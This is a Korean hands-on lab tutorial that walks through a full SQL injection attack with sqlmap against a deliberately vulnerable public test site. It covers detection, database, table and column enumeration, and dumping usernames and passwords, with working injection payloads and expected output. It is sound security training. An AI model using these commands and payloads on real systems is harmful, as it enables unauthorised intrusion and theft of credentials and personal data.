Kali sqlmap 을 활용한 SQL 인젝션 실습

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 Kali Linux 와 강력한 도구인 sqlmap을 사용하여 SQL 인젝션 취약점을 식별하고 공격하는 방법을 배웁니다. 일련의 가이드 단계를 통해 취약한 웹 애플리케이션을 탐지하고, 데이터베이스 구조를 파악하며, 민감한 데이터를 추출해 볼 것입니다. 모든 활동은 Kali Linux 컨테이너를 사용하는 안전한 LabEx VM 환경 내에서 진행됩니다. 이 실습은 초보자를 위해 설계되었으며, 자동화된 웹 애플리케이션 보안 테스트에 대한 실무 경험을 제공합니다. 터미널을 열면 Kali Linux 컨테이너의 셸에 자동으로 연결되어 바로 시작할 수 있습니다.

이 실습은 학습과 연습을 돕기 위해 단계별 지침을 제공하는 가이드형 실습입니다. 각 단계를 완료하고 실무 경험을 쌓으려면 지침을 주의 깊게 따르십시오. 과거 데이터에 따르면 이 실습은 중급 수준이며 완료율은 60%입니다. 학습자들로부터 97%의 긍정적인 평가를 받았습니다.

환경 설정 및 sqlmap 설치

실습 환경은 터미널을 열 때 자동으로 Kali Linux 컨테이너 셸 내부로 진입하도록 사전 구성되어 있습니다. 첫 번째 과제는 패키지 목록을 업데이트하고 이 실습의 핵심 도구인 sqlmap을 설치하여 환경을 준비하는 것입니다.

sqlmap은 SQL 인젝션 결함을 탐지 및 악용하고 데이터베이스 서버를 장악하는 프로세스를 자동화하는 오픈 소스 침투 테스트 도구입니다.

먼저, 패키지 저장소 인덱스를 업데이트합니다. 이를 통해 최신 버전의 소프트웨어를 가져올 수 있습니다.

apt update

다음으로, 아래 명령어를 사용하여 sqlmap을 설치합니다. -y 플래그는 설치 확인 질문에 자동으로 동의합니다.

apt install -y sqlmap

이 과정은 잠시 시간이 걸릴 수 있습니다. 설치가 완료되면 버전을 확인하여 sqlmap이 올바르게 설치되었는지 검증합니다.

sqlmap --version

설치된 sqlmap 버전이 출력되면 도구를 사용할 준비가 된 것입니다.

예상 출력 결과 (버전 번호는 다를 수 있음):

1.x.x#stable

sqlmap 설치 및 확인이 완료되었으므로, 이제 다음 단계에서 대상 웹 애플리케이션의 SQL 인젝션 취약점 테스트를 시작할 준비가 되었습니다.

SQL 인젝션 취약점 탐지

sqlmap이 설치되었으므로 이제 웹 애플리케이션의 SQL 인젝션 취약점 테스트를 시작할 수 있습니다. 이 실습에서는 보안 테스트를 위해 의도적으로 취약하게 설계되어 공개된 웹사이트를 사용합니다. 모든 SQL 인젝션 공격의 첫 번째 단계는 취약한 파라미터를 식별하는 것입니다.

이번 실습의 대상 URL 은 http://testphp.vulnweb.com/listproducts.php?cat=1입니다. 여기서 cat=1 파라미터는 잠재적인 인젝션 진입점입니다. sqlmap을 사용하여 이 파라미터를 자동으로 테스트해 보겠습니다.

다음 명령어를 실행하여 테스트를 시작합니다. -u 플래그는 대상 URL 을 지정합니다. --batch 플래그를 사용하면 sqlmap이 대화형 질문에 기본값으로 응답하며 실행되므로 프로세스가 더 빠르고 간편해집니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap은 해당 URL 에 대해 일련의 테스트를 수행합니다. 응답을 분석하여 cat 파라미터가 인젝션 가능한지 판단합니다. 다양한 SQL 인젝션 기법을 시도하므로 이 과정은 1~2 분 정도 소요될 수 있습니다.

스캔이 완료되면 출력 내용을 검토합니다. 취약점을 확인하는 섹션을 찾을 수 있을 것입니다.

예상 출력 결과 (일부 생략):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

출력 결과는 cat 파라미터가 여러 유형의 SQL 인젝션 공격에 취약함을 확인해 줍니다.

  • Boolean-based blind: 참/거짓 논리를 사용하여 데이터를 추출합니다.
  • Error-based: 데이터베이스 오류 메시지를 악용하여 정보를 노출시킵니다.
  • Time-based blind: 응답 지연 시간을 이용하여 인젝션 여부를 확인합니다.
  • UNION query: 여러 SELECT 문의 결과를 결합합니다.

또한 스캔을 통해 백엔드 데이터베이스가 Nginx 와 PHP 를 사용하는 Linux Ubuntu 시스템에서 실행되는 MySQL 5.6 이상 버전임을 식별했습니다. 이러한 상세한 핑거프린팅 정보는 다음 공격 단계를 진행하는 데 중요한 지침이 됩니다.

데이터베이스 열거

취약점이 확인되었으므로, 다음 논리적 단계는 서버에 어떤 데이터베이스가 존재하는지 찾아내는 것입니다. 이 과정을 데이터베이스 열거 (Enumeration) 라고 합니다. 데이터베이스 이름을 아는 것은 서버의 데이터 구조를 파악하는 데 필수적입니다.

sqlmap--dbs 플래그를 사용하여 사용 가능한 모든 데이터베이스 목록을 확인합니다. 이전 단계의 세션 데이터를 재사용하므로 sqlmap이 취약점을 다시 검증할 필요는 없습니다.

다음 명령어를 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap은 취약점을 악용하여 데이터베이스 스키마를 쿼리하고 모든 데이터베이스 이름 목록을 가져옵니다. 저장된 세션에서 재개되므로 테스트 시간이 단축됩니다.

예상 출력 결과:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

출력 결과에 acuartinformation_schema라는 두 개의 데이터베이스가 나타납니다.

  • information_schema는 다른 모든 데이터베이스에 대한 메타데이터를 저장하는 MySQL 의 표준 데이터베이스입니다. 유용하지만 일반적으로 데이터 탈취의 주 목표는 아닙니다.
  • acuart는 커스텀 애플리케이션 데이터베이스로 보이며, 사용자 정보나 애플리케이션 데이터와 같이 우리가 찾고 있는 흥미로운 데이터가 포함되어 있을 가능성이 높습니다.

이제 애플리케이션 데이터베이스의 이름을 알았으므로 내용을 조사할 수 있습니다.

테이블 및 컬럼 열거

acuart 데이터베이스를 식별한 후, 다음 목표는 해당 데이터베이스에 어떤 테이블이 포함되어 있는지 확인하는 것입니다. 테이블은 실제 데이터가 저장되는 곳입니다. 예를 들어 userscustomers라는 이름의 테이블은 가치가 매우 높은 목표입니다.

acuart 데이터베이스의 테이블 목록을 보려면 -D 플래그로 데이터베이스 이름을 지정하고 --tables 플래그를 사용하여 테이블 목록을 요청합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

예상 출력 결과:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

출력 결과에서 여러 테이블이 확인되었으며, 특히 users 테이블이 흥미로워 보입니다. -T 플래그로 테이블 이름을 지정하고 --columns 플래그를 추가하여 users 테이블의 컬럼 (열) 목록을 조사해 보겠습니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

예상 출력 결과:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

uname(사용자 이름) 과 pass(비밀번호) 컬럼은 데이터 추출의 주요 목표입니다. 그 외에도 email, cc(신용카드), phone 등 고객 정보가 포함된 컬럼들도 눈에 띕니다. 이제 이러한 민감한 컬럼의 내용을 덤프 (추출) 하는 데 필요한 모든 정보를 확보했습니다.

테이블 데이터 덤프

공격의 마지막 단계로, 대상 테이블에서 데이터를 추출합니다. 이전 단계들을 통해 데이터베이스 (acuart), 테이블 (users), 그리고 관심 있는 컬럼 (uname, pass) 을 파악했습니다.

데이터를 추출하려면 --dump 플래그를 사용합니다. -C 플래그를 사용하여 덤프할 특정 컬럼을 지정하면 프로세스를 더 빠르고 집중적으로 진행할 수 있습니다.

다음 명령어를 실행하여 users 테이블에서 사용자 이름과 비밀번호를 추출합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap은 이제 지정된 컬럼에서 데이터를 추출하여 터미널에 표시합니다. 또한 나중에 분석할 수 있도록 데이터를 CSV 파일로 저장합니다.

예상 출력 결과:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

출력 결과에 사용자 이름 test, 비밀번호 test인 사용자 항목이 하나 나타납니다. 이 성공적인 데이터 추출은 SQL 인젝션 취약점이 초래하는 심각한 영향을 잘 보여줍니다.

  • 데이터 유출: 민감한 사용자 자격 증명이 노출됨
  • 무단 액세스: 유출된 정보를 사용하여 애플리케이션에 로그인할 수 있음
  • 개인정보 침해: 개인 정보가 외부에 노출됨
  • 보안 위험: 취약점을 악용하여 다른 데이터에 접근하거나 권한을 상승시킬 수 있음

이로써 탐지 → 열거 → 취약점 악용 → 데이터 추출로 이어지는 전형적인 SQL 인젝션 공격 시퀀스가 완료되었습니다.

출력에 언급된 CSV 파일을 읽어 저장된 데이터를 확인할 수도 있습니다.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

예상 출력 결과:

uname,pass
test,test

데이터가 성공적으로 추출되어 저장되었음을 확인할 수 있습니다.

요약

이 실습에서는 Kali Linux 환경에서 sqlmap을 사용하여 처음부터 끝까지 SQL 인젝션 공격을 성공적으로 수행했습니다. sqlmap 설치부터 시작하여 실제 웹 애플리케이션의 취약점을 자동으로 탐지하는 과정을 거쳤습니다. 체계적인 접근 방식을 따라 서버의 데이터베이스를 열거하고, 대상 데이터베이스 내의 테이블을 나열하고, 민감한 컬럼을 식별한 후 최종적으로 사용자 자격 증명을 추출했습니다. 이러한 실습 경험을 통해 가장 흔하면서도 치명적인 웹 보안 결함 중 하나를 찾고 악용하는 데 자동화 도구가 어떻게 사용되는지 실무적으로 이해하게 되었습니다.